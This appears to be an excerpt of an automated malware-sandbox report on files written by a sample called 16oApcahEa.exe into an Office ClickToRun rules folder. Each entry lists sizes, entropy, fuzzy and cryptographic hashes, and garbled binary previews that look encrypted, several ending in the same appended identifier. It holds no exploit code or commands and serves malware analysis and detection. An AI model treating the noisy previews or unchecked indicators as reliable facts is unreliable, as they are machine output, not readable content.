Preview:	<?xml..C#eVKn.._)nNal....j.ZE<.?.l.....i^D..!Ym@t.c..j......Thxd...@G..NR.....+.\..:.....0.(...&...A..uO.P.........H..WX...l&..Z.rJ.....z.).9.csB.Y.,`M.i].A.3.....'..P2.e.... .\|..tc.5t.uNZm3......ro...K."...W....Z..t....s..g,".1l..;..h....a.N1. ....Y6B.k.z`....?].....r6../>..f=O.\|....X[...c9..-......o../.}K5....+.[V..2..&+FE.F1]\|4.....R.A.8.b.<>..f....<..KP........yG!..G.8.^HO...0P..<U..o..E.z+.xi..E..I....`Q..sL.`..Vk.f)v....K.iT......D...u...c...S.lC....q.Z............]Fl3v5@..C...1..[..,.........>.D..z.<..3.+.g.`... .]...a..sH...:.L....1C...C.....U. j.$.H.............`/ .cyL\|.L$.Ab..L.S......9.....h6...b\n.s..`z#...EE^."..HjA.........g8Z...0x].....=.5....c.t......j...v...v...gI%.\|..(....].N-\|.....`........:............ffF.e&........Z...N...{C!,.(c..r....#. ......S.cQ.l..C..G%rK.P...u...9.\.....!..>..+M..K&.<..wYe.9T......9.u.T....9W.4..vp.u.i...D..D6...Y.Du......{.@..]l.H...A..r...[?~.K.(G.$......{..=...;.:w......p...l..Q. .W0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.9545360576868
Encrypted:	false
SSDEEP:	96:/kXGXmq4aPaNGce+llWAzUqbLgkeoVvDvvX2tO48tdhsu:/KWd9ceOzUqbZbfaIhsu
MD5:	EE067BD34ECBF00D88F9F9A73CE4F1C3
SHA1:	CFD056DD8538FA98A4DB36027861C32E46AEAB39
SHA-256:	E02444B95002E0660DF011A126A3E53502CA811E2B791680EB46FA3EBC605B08
SHA-512:	9FCDA4FBB089BBCCFFD148B5C0C4D7183A92392FA0DD8EEA7228D0F512C35389B06CEFFA7A885D6792E9345F56726164D8727BE0B0AC4B0EEF08D6E4C1368292
Malicious:	false
Preview:	<?xmlR..l]..UN....... ........H..p+...e:-..`o.....' .....V....Q................).I.Y.x\|%?o.....B.(.i....:=).7w8{..2,.......f(....$..%.b.d`.F>Y:"....Z.;.Y...9.......r.2.5~.r.jf....m%...t^.(..i.w=3..W;l.p.FMhM&.6..\|7r~....g...1...v.aV.V.2....U...z;r#.......f.h...3.>.8...Kq.x.)V...(\|...-......fd.uET;.k.Z.4F.Fqp.0"..qYX...0!{...%(....s..D.g.?#.S_........S..w}...-=.kf.....5.!.Ql.X-....__.,...........@9d..D.L........-.).h..n..[_k...B..Y..O.......&Q.<f...v.Z...H..V.-m.nm.7.'O.gg.ay.....v..6.....4,y....)...A...z..Td....1....T.6kQ...@,.&.....Z./..U.O.`0.....06GNB.D..%l.....?...'.;.....%.t..2.L.g.X.mRr.z.x.!8T.....f.QVhRFed.8..-.....).@)...m...^KhC...pU....z......1.d."m..[H.K..s..Xh5<..,.B..%Q..m.U.>.\|.b#.j.......\|.l........~..E..z.'8..........l.&......jt!O..8.......4..8.k*..&.^%.....U.I'Oe...E.n.../..J.....H...uM.r.c......$A...}.BbtV..>.v..laLk..q....q.U..(.k........e.E...sa..u...b.....'......o.._.......a..._....4....Oh.O...dz..s}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.959981950911854
Encrypted:	false
SSDEEP:	96:1+DJXcC5oBpCm8klk+WFBeJbTptJw3sbyqDXgnG6psVwnimzU+nstb9ozP:0DWBpWkW+WFYbT1w37qkn4mzxnsvi
MD5:	CBB9100BA4C74B4880AB3E7AF8D8315C
SHA1:	6CDA8B50F23816853D2CC11402969FF7163CCB39
SHA-256:	CC23B149F63EEC91F8D48B6292B4161A415983BF54A9E7FBD156F063CADAAFDE
SHA-512:	012B8ED5D900BB7EF8A5954C654238C3A58F47BB419D36C250583578B4CAA5FEE0A051820AAF3903C52BA8B84F11066FFED3696DF6FA049D74AD9204AC2CC8F9
Malicious:	false
Preview:	<?xml'..CW....8....x....y.8-,...]..?..;.F...4z~......u.._.u...QOiy..<./.B.z...4........{mP+..xK....\P..d.z..{.s.&w..il.U%Wg.T..0..I...../..K)......h..\d..0........{3........n\H...~.._....a.O..........9\|'._.b;a..Bh_..^.)..s...}B.5...k..W..F:K.....o.....%UO.......:.a./..bU..7......,.6<TV.#~.2F..R'.M.2.....,.C.....u6A...U1gb..U.N.rE.....h.4$...l]...aJb.PXx.....+=....2..EQ..G&..I....5.....`.b..#.X&..j.jg.$..8\|.V...._[.~..O. ...Myl.c>c..&...8C..&".f.p..,...c..U..1..P.ze.\..V?....`...}.!(.b.5...&.j...+.9.HS.L..s..G:s...?.B.!.[.`.....mEhR..v...c....^^..5..T.s3...F..T.3.0......3.,:.....4$...!9@...2L.7.w.oZ...<P1@.p.q.v..$.Q.g..W.....]...m.....<.F.c......=...=..T]8:{.~.3....H ..?......}\|s...-...:...q.%\|.{<,/..........t2..r..f4........zR..i..lN......H.u.G?u.+e~3.:l'r.........x./....{....e)......2)...'1Z.g...T..b..B..:.........%..hk.v*`a.O.T...u.!H.7`Fpx..H.M.........ol.H...&.0.d.H...il$g..w\|N...>..0\|....b...1......Ic!..@d8.f.o...$.E.^.}.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.947683311985379
Encrypted:	false
SSDEEP:	48:lgs/oWWnjuqvubOpZTQ8Oguzh0jvRqN+5MnG2+lL5lUozXuL41p3QEzfDeJD:lgsQhnjuqvfp9du0TR8d+ZgozXu4PBjU
MD5:	4026CFB1ED4B7BB6B48C7CE08E5EA771
SHA1:	D1AE032F29063EB3E77AB315A0151459620C0F0E
SHA-256:	496364FB252F633342ABB2A722750FFDAF30F6A4246CF20890C3011729C66FDE
SHA-512:	6F42F9151388C11668499C9865512F40EC1B172ED2C6C29857501A1E7BFD184BD3A421012B5DEB48E668A659BECDA1ADDBC444C3F7B089A6A6A4171476664E09
Malicious:	false
Preview:	<?xmlXq..WGU#4..+....'...a..../.......4:...B..s.,J...(.Y..%.....U...Y..V.Ry.....RU.X.d.......m..i......FM...L....G..qS...7Eg./}I.....s..........x.J..k.q)..e...`.....,.@%.O..1..l.I......=.u...)..Q.R.._./.4.pj./>..Q{)k....y..Y...?..7\|hg...1>/....0.b.......,q........Xt.r....~...7..U.W..r...F.4.....j.....6.F.K.D...l.\...=oe........H.[...Sv........_l.......Z.j(#......[&..F.6......+3..pk.\}_k..N.=.<=/...........c.'\N .qf.#..9%\|...Zv.#.S'.Ak.Sp3.(]........DM/..K;.y.+...0../....j...Y...s,...._.$'./S....K..U<w..A.....{,.........d.D..RH...p,..WB.....x.O....y.d-v..M..'P(.......k.._..f\|..X.9d8.!.Z....a.]4$PWg.T..z..6.Y....%..c..n.?..d.KJpN......P....R(O.].......'.2..tt..p..:.2%.....I..J.7[._...........`.$)...X.n..wg....E'....F.v..Y..5..V.9..`......h.....<2u.l..B.7...b7=.RH$e.......Om...+Y;.s?..F...F.-.9=f.......yI...6@..A.;.R...h.n.\..J......M...i..V.YR):.\|^......{.z...pV....h...L...A..q!7O..u.].h."Sw.S>.:..@..y..0.m.k....[..W.a.kL.7.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.971927219686067
Encrypted:	false
SSDEEP:	96:2Ej9z1DtIDYyfhjXg3i6hYbKxcMlJ/0nR6DkKvggngpTZA2OFqUxyn:2u/tmBXWVh+Kxhn/0R6DkK9gABS
MD5:	ADBC2B8B0DF6EBB43918815304064EEC
SHA1:	D591BAE80CEE913FA460933F6695B6B8ACC4E907
SHA-256:	A5026674B7A4CBD463277D704932D05793F4CF0A537B7269A06D3E4920FF179B
SHA-512:	3C1473123347D91262864FFB7C3914FE6F899CC9677D6D21032BB922A2B7DD6B91E7CC97F9B7BCE645D222842D2CBF69414655768FEBA5AD54A83A8780DD9763
Malicious:	false
Preview:	<?xml.d@...VZ.Nh...8.w...>d).Vsm.{.cc.B....\..:gi.. \...5..%`..6!Dz.$.I/........#.W...FQ.Ki.um ....0...v......7....X.k\%%G...lK}.......l.....].....H.O.\|Z...{..2...[X.^..)Fa."Y;.....4K,.M^W.:9.K.x..8I...._...J]..k).3...P......,..&}GM..!.]5,hP.=(q*{W.L].s.}.......J8...K......e....._.6..R.7.0z..S+.u..au...5.c.p.G.........D.._..0..$....R<=.C........u..E..m1x.......2./..Z.h.I<.\|.....\|.n.P..K.n....6~.F.i....WaDv>..t.g.}....?..D..D.....!R.......@8...0P....P...C..7.....p.vqNo.t...'.{d......._..._. ...0...to..V)...e...7,6........v..=..lx..(.&Gd...<E....w.. ...F....n;.....H...gw..R.]+...n...l+..'......l....;J....Q~.Q..5....HM...X...nk`.2a.....M.&.3.r^7'!.x.-S&U.."c.^6.w..........4.1.I...t.9.9....5...U5.8^.E.;f..:e.^.E1.:y...?.tz...V]N.u\|.z..}....a.U..B..:.......@.6b...gh..r..".iIY&).G.5%.npP.V3.".bV.;4f..d.k.(...2N ..&..^8N......TR&.s.DZ...[x.jys..".g....].N:i..i....%U..m...&D....X....N.-?.-.>....!.G.DC#Wh%.;........6....p$......1T.!......."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.9043849059322016
Encrypted:	false
SSDEEP:	24:jWrqwIaCMl8HF3w1EyDIo+hVyOghDSrccxK5MSAbG2sc+SrRqbVWZ62N495MbbUr:jLwIaCRgqykX6vSyC+SrAbVU6vQbEJD
MD5:	00924B8AB5CDC8AF51A9EE36EEB5C311
SHA1:	D54B6E5149629E924C4D0AD905F156E9380B91C6
SHA-256:	E948B2953DFAD7B2190933930BC5CDC29C770FFE7F1A21CADDC69CE448063BAF
SHA-512:	38BCB61A4BCDB6EC20E46FDA60669342CF30FE0609899E5BF7E37E199EDA3F17FB3453DE1AA351C75AFE10F427A33609F5ED7CA1161204716E8BCBC598D99F77
Malicious:	false
Preview:	<?xml.....G.b..W.xHL.e..G..@..?.t.U:.sa;.2T.i.+.L.~...}Q(...r.e.Du...........j{...=.,....D.........z.)0F...U......%H.F........K.#\|.i......'.k.EU......K:\|~.G.1c../..YY.\.b..k......`}........gy....(..n...i.;U.....00.U;..(.-..E./._X.....{..<..3.?.`>..I.1.0..c.N.Z-...{>{xV...M..%JK..{M..\GH...YUM.(._x...@....a.0U.....W..Dq<A%kuQ.9O.......V .....C..y.G.,9..HL.B..0j......E....w....1...!..v5..E...._...H4h...'>.0...Y.-e..8\...V._.........aE..#..7...j.1n.~H...=....,.4W.....].4..K%g...1..<.E...cv.,~J.#.4;.1...O._..B.7.6Z.......D.x\.....B6.>k..B.J.....\KU.b....[}X..w...BJ.L..^..T..R.f...X.....M.....\|.D.jD.P.w.g..[.....0.VHJn.n...E.i...\....T2\|...<....1...(.5z....v(.U..4.H.$.E..j..c_!)6.O.....`.........k..#....a..Q$.."..q....H+1L..8K.XS...C.h.........G....\|.s.Q.t...sd.]...0x.6.&._:....<W.TL..>.{xvF.>...y........}.. .uQ!.A.3.J..`(.....Pc.{....(.T}).je-.....>..O...$.-...;...k..g...R(.....}........[.R,..9.....C...0pJ........&}..._N'..>!.\|.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.764787129432961
Encrypted:	false
SSDEEP:	24:91IaWVqdf/340kHFRVmMGCbxgeAZglv8VEDjyaUNP39pbD:Mp2/33TCbGe2gCVEDjC1JD
MD5:	9DC4D2B77E08337AB5D2328749647CC2
SHA1:	E0880545775653F68D7E4FE34B65D586DF2EEC4A
SHA-256:	13F7C87C48B5D1AEC3F622820ADA0BDB297EBDDA1B00A4BA317535843F1AAF3E
SHA-512:	EFA80400BFAF4E4DD95F0D3A47B578ED3A5C830AB27E0A2573657403E4775AC9987907996A50AA869C20A7F4F371190A82A5B5E60A8B7FA0B541918001DFB78A
Malicious:	false
Preview:	<?xml..L..wq./5.....Xy.<?.{.....Lr..R].\|.07...POR..-fT.....Y..7.C~.....@....\...-...._...h.....l.........8.P..QfF..l5t..>....P......E+..V.7.7.{..A0.+.{s...o...A...".g~.a..uD...`A/u.........R..R.=.)@..!..{T.....-.`.P...H._... .]..ZHL.X}...o.._.y..Q..z......P^..TF......j.W...EQ^n....a.i.ihE...)....v.......,=..N.9>~...T..;..cQ...y..s.?..s.+.J..it.t......c..T..c..y...ql."rOd.A.x.FO..L.!..k#X...;..............Y..<....1+h@wR.",...Ry.V......a4B.....hY.....\|<?..x:Ze.x.........R.+....0.n..v.._;.....E...=......1.+.~...h....U.S\.Z..D.U9.D......?U..W.[.....4.i......z...yy....X.t..p.\..E..q.N..M4.E...q.g..m..$j......Z...X...B.VU...8.E.!..^..M#...'<.....}..r.#.i5A.;.eG..2Aro~...."...b....=....._....+..,.(D..W..lnH..HX..g......ko.Ncs..Eh.r{.+POj.....zy.Pn.Xf.".\|.N.C..0....f..sV^..-2.._.o%..mX.U^...xU[.#.@fR.TqA............e..N.D.......ekX.......T..o.?.M..........n6.......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.929770430010686
Encrypted:	false
SSDEEP:	48:HyWthiW7KX76xlp5X4D0xjV95xxu3Cgo8izw1HI78uGX8wkdIwTU3XUAJD:HXdKr63X/j17C3ojOI7iGIwa
MD5:	8A6094F5982F9DBCC3080A2E2A483DDB
SHA1:	F0F263536580F45AB338568B638E909E03A20917
SHA-256:	D1CA886039FEF631D958894253903763A9695BF2F34871F6A0C5B19D0E3F00E9
SHA-512:	785E333DB6610CC243E34AFAA13A4D0126FCEA57E6F7199A53277AF1F02AADF2D4F3AEA30A8511F3F45DAE4B67A204053447E7ABE8FE70173A44F718DFACC605
Malicious:	false
Preview:	<?xml..- .....I.S.......K~.F...R.....!.......B.<...d.xi.....P....U.H...........B.Q......8.x....u.......N.7...k...Zv..l..Q..:..'.. ..W..x.7....;..zTQy{....~..`\|5....F.I.......R..\'.....H0..n.=k...c....H.:.x.d..rj...........x.q".2..q.5...C4.,.23`V..&#.\|.[.gW.."...>.ZUt.W.ax.N.=/..u.8DO.........o..m~S.\|G.f5.Bo.%..~..........p...I.......j.....:..@&..)]x.......:sreCi.W..)F.;..........8..i.F........y..;..T.;[.......t)LO.....&..Y.umi.S......+.....:.!0@t>.n...?d.7.......~F.4x..<{.n.7.b../wT.......J.A;u`.H.U.vd...<.$MMH.&..9..};. ..@%1c.........U..o...U...Q..'Z.v}.3?.....-.7X..\| -.._. ...TG...X......,)...p..y...]...h8.=.\.R.7.Y5...#..82.f...... y..d.>..%.....R.!.1.a...ap<&..gzGh @a.49.\O.#......nO.Y..l.qM...)wa@M.....H...B.D..Vs....c.3.e....?...1...'.b.`5..s.5......{.X.2[...I.1.wyB?..5..FT(.up...e...zK.2.....i....*?7..FT.Z.f..T...Qr.....%T_...4..[...7.......A....S..j...Id..<...O..\;M."43....8...9....p.F!.N.(Q%...O(.l.....j/...68'\|.8a`.`...6K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.983414060957399
Encrypted:	false
SSDEEP:	192:4IxjsTutDKS7js1l3EXOFofQjZYp0a/wlQKuQXO9dsK3K6L0vyCsiAD29dpy:zsicYC3EAiQj2QQKuQXO9dsvxY
MD5:	EF0981F4C4143819E96552ECE196BD91
SHA1:	FD2FA51B60A56473513975CA00F3D70E98587B18
SHA-256:	EA3001A2A0948C68D75E5FF284804A8317A9C109217E72131B3D6F21CA947329
SHA-512:	C40AA4789459E88141D3C5CA16D5C52779AD389DC1910E5AA897388F055A0A64009A98E0B10AD314F364BCA10710EEF6DFDB8E3546D1FEC6D7E498BE5D200EC0
Malicious:	false
Preview:	<?xmlT..kp...<..s.a_.$...10...},.Vr...#.p.>.?.O^..W(....=H.....k.h`.(.....~...(....1.)Z.%..z.I.C..0.;...V.[.......?..<..~...8..[.D...DO.N/..j........UT....p.v.....0.a.$K......h..^".....8.?o.#..~.....1....i.u...:....p..(K.../...?g.......S.\Fm..i.f...@.. ..3\.3l...... ......M............w.u5I..+.z/.....C_..\|....0....jX?.....,&,..... T8.zo{.Wx~~.6....V.S&.Xu.$.....N...1....(@(...:..^.w.\|...e..gs.n....Fm..!..j....5 yaY..9..fJp..]......,.d..'..`.~........+....=J8..UP.Z....?.J.r<....3...;.I.....1....!e.;.....'^.......=..l..u..0V..Y(......H)..D..<....=.w.:.?.....H\|tG.b8...?%mY....ZO.o......?...l..$.$..$.......+...0,).P...."!...).u..s7....[.Oe6..?v..?,s...M..^.........G'..8S...t9......@...z.3...uT.lY...Y.\....A.N!.d......PL..u..}O.;].>wk....L....E>(.j.....}e..J.......F.(6......V..U1..y........<..{W.E.....YGyE....ZB....z....'...=....\..v.......wY..<...N.H.i.....5.#s.#.t....)<...{....(.T1.75<%rO8o.K..{...Kg..O.U7J.n..3O.b..+..fc.....%6....5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.718025057974169
Encrypted:	false
SSDEEP:	24:ODvlNIYKzQ2i3XsvPybchKmaqMisXdMz4w/b9pbD:OpNEgXsvZKmzMPXO8ihJD
MD5:	11A6098D68C884FD7F83F94724FB0804
SHA1:	086D91B314EC816658FC90D121103C7BC0318ADC
SHA-256:	D3E1B074514908C1E302C34F68BEA295E790127F963317B3B0BF728CCB589AC7
SHA-512:	EE80E4B360FEDB8C583E772CE6E854A0A84F3D9FE0CB8BAB8268CDDE08F5E5A73580C3FBAF9160BDF55B61DCF8A299304BFEFC9637118157CFC210E5F8FEC315
Malicious:	false
Preview:	<?xml...>...md.C..n#..n})...-...$. .......A....Yi;Q.].......?z.9.l.gv~1!...h.0...]$..ga.....K`..u".....H..gem.}.&....o........'..J.z6....xC&.....\|.L)JH4.....o>\|.Y.R....0u.4..t.w..`..cw....l...a\..Q.@..cFsw..'.z....(g.W1.!=T..=P\|._\|.....<N....^.....;....J....m/..da..."......9.....-.v..s...../5C.zfR18{:....G.....`D...x.0...1..'.X.....s~..c:mX."F...W..Yw.s.k..H.u.........`....,...RC..O].. ................W...gq....S....a......t..H..._......].R..:0..\.(.>....07......n.).k;s.<'..HK.:..D!.=.\..<...3.Y.V..d.G.U.....DIK.h.,:3...jK}...>.N.7..R..Sd6.".....2..p..K.{.0@.6...K...y#..[....\|.Z....B4..).0q..*.[.$z}.._x....J{..5...Y..W.%...r..;..Z.jF\A....z?...<.....1.+5m.........wTb...7..n.~..%..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.701928877532527
Encrypted:	false
SSDEEP:	12:wTS+0H7HJQoh7/ocpM732ncbLx7OlmhIAl7XbckjnMF1zxeAfzoiSrkaTT/8+neJ:wTS+gjGywcS732ncbLxSwLFMF1VROvHY
MD5:	E94035BCA84FA8E5D953987E713627CC
SHA1:	78DEF3F476CC6D5849158F33A72BC89C9F7CE996
SHA-256:	5696737CB0929ACB859CC1C22A39BE9F5FD25956B4BF1DBFD84514A1BBCCC095
SHA-512:	161B0D035B3D6D4208663BAEA0FD492DC88182E8BEC58F54970E248635AC00C96ABD2EC6031091DD745F24BA48F4486E49E203E07AE7DE3674CCC3F22578096D
Malicious:	false
Preview:	<?xml....5......Qv.~2T..O.T.>...!@.2./.j..&... g.R........ ..S.x-..i..b..F..LB'......m......RBiLy...z..%wi.........{qC.<{If...!...>..$i.....l.L...'.3......c/.2.Ue..^.[Ua`(Nq`.M..R6%.....\...\|.;...e...\.$.-....d..M.E..4.S.....7...W.O.m1`..78Aq..r.d?y..&3.c.....jE.g....G....0E.Z J8.+.'.b..........).....gD....w..g..WX....+7_.s..Z9\Q..-G.x.{...(.[D..T.-\|..R_.a...7.C.%...W.....g.%.SI...5W.\|v...^o.F!R...1...."}^..mw.....I.e...G.^.t....f..b'..t....._.."....K.J..J..8..q..k.._.g.P...QX9X..3s.x.1C..'t.......x...X3.1g.2~=......w~.5.....)..Q9.2...jMo...M............z.....R..U.b...[mK..............x...........3C....'.H.9...>.Q.../N^.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.900976081369548
Encrypted:	false
SSDEEP:	48:hE/Vp1ob0i8RLF5Bhrr4Aq5rEzQChrxF4fAS2JD:hESbJ8RF5Xrr4LGzXhrxFp
MD5:	31FF3D34682BB3CED257A9A48CA67C88
SHA1:	19DF2793A0FEE815466C0A9B1D6A099C6AADFF0B
SHA-256:	A0D4087C058C85A699878796D879EF1E6971957CA39D3048300F6D7527E6ABB6
SHA-512:	4CFFB0EBBB4409A29CE81CFB91EE8BEA02E242575A234CA0E4DF264DBF7286F154960D4B69888878A5793713A24BA4623F41CBD80DB31050C93B202984D74150
Malicious:	false
Preview:	<?xml...nc...{....p...o..3.S\..X......>.8BU.......`M.q.0...2.Oq.8.w.e....'x,....&j\|L. H..gA..Dj...F.V.H...K....;L\6..z\...&7;.7.~s.......lGC.X7..2.....Q..>$NI.....d.N.yn.H.J...7.......G.$......H?8v@...".0._...).....).j~N.n.e.....\...&....N..f...N...?:.b7..MDZ.......~.X{.A.0.LXo.G....2.+J..l.Y.H.k!.....A1.....}..z?.....\|.\|KW..?..xJ.3...!..\?...fW.k.]....m....;.....Z2..>G...$....o.......p...[+....8.jV.5."JL...}..U.w.;....r.5}.e.~W.<.^).sIT.k..m8J#.JY.......-.g.d..+t;.......0...x...B.I......C.tN..9..v...~.#(G@.sOX.%...cq.........~g.+.".X..Q...'5.n.....".&....}.5.71&.....s........s.g.`VtY.6....[.r..&.(,d.,...,..`.8Ml.}....".n..U4.......".........~....[Y.Qf.@..a.u......]...+uG.4. ..{.FHF...Ik....L...?..d.....6.m..4.u...).=...T.R.....=..b..sg....@.....{&t`.j....L5KvD7.....]...}r!O...39M.N?.i:?...........%._x.5..3.\|..b......3...6......B...[e...'L.N.........y....$...$1......2..`.l\.j....RQ..D6...c..~.:....\..D..t.#OL..H+/.7.....%..[...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.724217125313345
Encrypted:	false
SSDEEP:	24:KbyMyXAeB9p0T8wZcTzIB06Etj8vDw0yZVs9pbD:maXTBoRmTM9U8vDw0yZEJD
MD5:	73D77A13F685464E71E0830598F9E8FD
SHA1:	358DE0E22C8229236E4067F23DD3E8AC178215B5
SHA-256:	4BB810CA5003586811AA3BD451660DAAF58A96B4DFFF262A1ADF69A87CA90425
SHA-512:	2434BBB93BB4C2D2F8CE7E16E5D975E4FE3706F0E67223D5400AB2BE4A3F7FF41EE752E88EB35C9E587B4A6E4023F96417B5EC3B9908A632ECF167117D503BEC
Malicious:	false
Preview:	<?xml!.6.e$..i.1...Q..Y.....V.oK..U.#U....?...rY../T.J\.e....}..g....{..2..G......At.../....Q\.t.v.6..5..:I>.Xv......../...E...d.....H....9..\|g(..mF6M6...8-<.ff......%H.x...X..F4oo.,+b;.~.,....z..Og.+.}-/.O].5...X."......km.....}.l..E..DY1.(d...T....S... ....j8..C....R"..E...=z\|=.yu.Ap.S+.....^44..).7.....J[4.. I..m. .E<>...r....z.{s........(.S...A..G(..o.R..sM.]..55.....]Y...v.@V..m...X...{.91...Q...$.y./K...4....Dm.A..@.4.a.G..uU...S..h.,'.G.e<.8}...)D.e.7j..R..<.uU..............M....C....S\e.h.1....QTwo..a..t..C..........g.l..z+h.7....ue.z.>.Xv.2.....H..{m.......qz...0...r.B.B..S.........}.=.Yu.2N..-..3n<..qf.....L.~....i<.....jr....o$0VI.......(6N..?...V.-$2..5.).3...\jm...../c....c...5(eq/_......D.....Y{*....V6.......J...q!\.gu.P1..A$?.L....._5xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.847077464411865
Encrypted:	false
SSDEEP:	24:IpkdEBKN5pSgjk2jLK+OVGSeesQ1WfLJlX5GMK35/NczmD29pbD:Iiyhc1jLShqfdlX5GpJ1AmDoJD
MD5:	FCAAAEEA96753F5082ABCE9FCE1275F9
SHA1:	EDCDEDD86804AB32401C22185C0A0EF0CE211BF7
SHA-256:	4E7B6451EE59340779F5E31797315E7EA4EEEDE2F9D94790070FBA62807ED993
SHA-512:	41D3AB27CD9B02C0DA5C95F92E549B2DDC09D191E158A979B216BF4F1BD43E438AAFAE61861A7ACC642704C74657C87E6924EA005A234D0EECDA080CCD27FF1C
Malicious:	false
Preview:	<?xml6.MJ..^.N...%.M...Hs...%......$&....".6...J...4a..YQZ.4)........G....%...\|Af...k.;....bIr....[....Y.......Z..h.A4&.Yz.]Q.a.vl)^C..D....8.m....g....d......>n.....=..gO.r.\...+..U.VX..J.,..a..\S...{...S.ra.H$. ..........N%.in.3.Y`aI...z.....h.ZN:.....}0.......e.H..f.G".cn...z..yIz...i......,x/.O......n.?m......5..d..R..5.r)y...9.sl.y.1.F....0F.Y....p`u.b.5)x.R?G.....-C.7.4G..<x...Dx.....qR+..^.FC.......{...x...L...K....E..\..j!H..7e%....c.....t...T.m.8..2.W..2....cE..xis.H%.;..4.;.....{X.B.e..q:I.U.Xay..=..mq..dFK...C...@......".....~....H...#..+vX.R0....,h.ljoD...j.4},...r...0....,..:.u.3L..........G.&.H.%Vlz<QX.....D3@7........ u.\|.D...\Lg...&3y.C..x^Aj..RQ....yB.u...s..@..E"'.CF*n.e/../..t3H...x.P..o..T.3.r.j.#...=....Nk. -.~..;..._..X!...M...H.Og.U.].Ki'd.V....k:u...>2g....."...=~...}..X..-..2.fI..V.t.....I......c...qW..m..Wk........G1V..&K.\|k..".q.6.cY...,l...R...k.n..Z....iY..S\|.sa..4...Tc.A..i............Z.C.{^.L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.848246229412247
Encrypted:	false
SSDEEP:	24:NIlomZ/oo+4Fm5G60CLydPEEApw6eTvoONPeIFkNmuHH7kzcmjhJy3SDIr3wvd9h:SoE/Q4Y5GWLGPhB6eTgON2IuZn7mFJTJ
MD5:	712A3E06479B265BC602AB74226989A0
SHA1:	9A76E05F7FCBB145E18F88D58A7A71A2811FD65B
SHA-256:	BDD6AC23477C15D5956AF85082C51988392A340BFAF4BCC5A194338BCC7A52B8
SHA-512:	6A1E84E71F4ED374C7D1C47EFEE337FBAA738F34CFFE4FDC6A22E1A325A8A96ACDB522A780C7074BA98B81E98DCF0CDCC5CDFC4D895A99C37C95E98997D8C348
Malicious:	false
